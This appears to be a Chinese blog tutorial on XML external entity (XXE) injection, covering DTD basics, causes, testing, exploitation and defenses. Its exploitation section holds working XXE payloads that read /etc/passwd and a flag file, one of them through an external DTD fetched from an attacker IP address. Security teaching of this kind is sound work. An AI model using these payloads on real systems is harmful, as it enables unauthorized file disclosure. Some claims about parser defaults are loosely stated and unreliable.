XML外部实体注入
XML基础
相比于HTML
的展示性语言,XML
是和JSON是同一类,XML
可以用于传输大量的数据,json
大量数据的定义不如XML
通过自定义标签对数据进行组织
1 |
|
语法规则
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
DTD 文件,我觉得可以理解为头文件
DTD(文档类型定义)是一种用于定义 XML 文档结构和元素约束的方法。它可以描述一个 XML 文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个 XML 文档所共享。
DTD 可在内部声明,也可作为一个外部引用。
内部DTD声明
在 XML 中,可以将 DTD 声明嵌入到 XML 文档中,这被称为“内部 DTD 声明”。
内部 DTD 声明位于 XML 文档的开头,使用元素进行声明。
外部DTD声明
在 XML 中,可以将 DTD 声明作为一个单独的文件,并通过外部引用来在 XML 文档中使用,这被称为“外部 DTD 声明”。
外部 DTD 声明通常包含在一个独立的文件中,它定义了 XML 文档中使用的元素、属性、实体等的规则。XML 文档中使用 DOCTYPE 声明来引用外部 DTD 文件。
DTD实体
在 DTD(文档类型定义)中,实体是一种可被引用的数据类型,它可以用来代替特定的字符、字符串、符号等,从而使 DTD 更加灵活和易于维护。
在 DTD 中,有两种类型的实体:内部实体和外部实体。
漏洞成因
利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。
漏洞出现位置
在http 报文中如果出现了
xml就可以考虑是否存在该漏洞
进行漏洞测试的时候可以尝试使用带外测试,也就时访问某一个dnslog 如果发现被解析了说明存在
漏洞危害
- 读取文件
- rce
- 端口探测
但是rce 和端口探测都很少了,利用的条件也比较苛刻
漏洞利用
构造外部实体声明
直接通过DTD外部实体声明
1
2
3<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>直接在http 包中指明
1
2
3
4
5<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>通过DTD文档引入外部DTD文档,再引入外部实体
1
2
3<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://120.27.61.239/evil.dtd">
<user><username>&xxe;</username><password>1234</password></user>evil.dtd
1
<!ENTITY xxe SYSTEM "file:///etc/passwd">
防御方法
- 禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。
- 使用安全的XML解析器:使用安全的XML解析器,例如libxml2或SAX解析器,这些解析器已经默认禁用了外部实体引用。
- 过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解
析。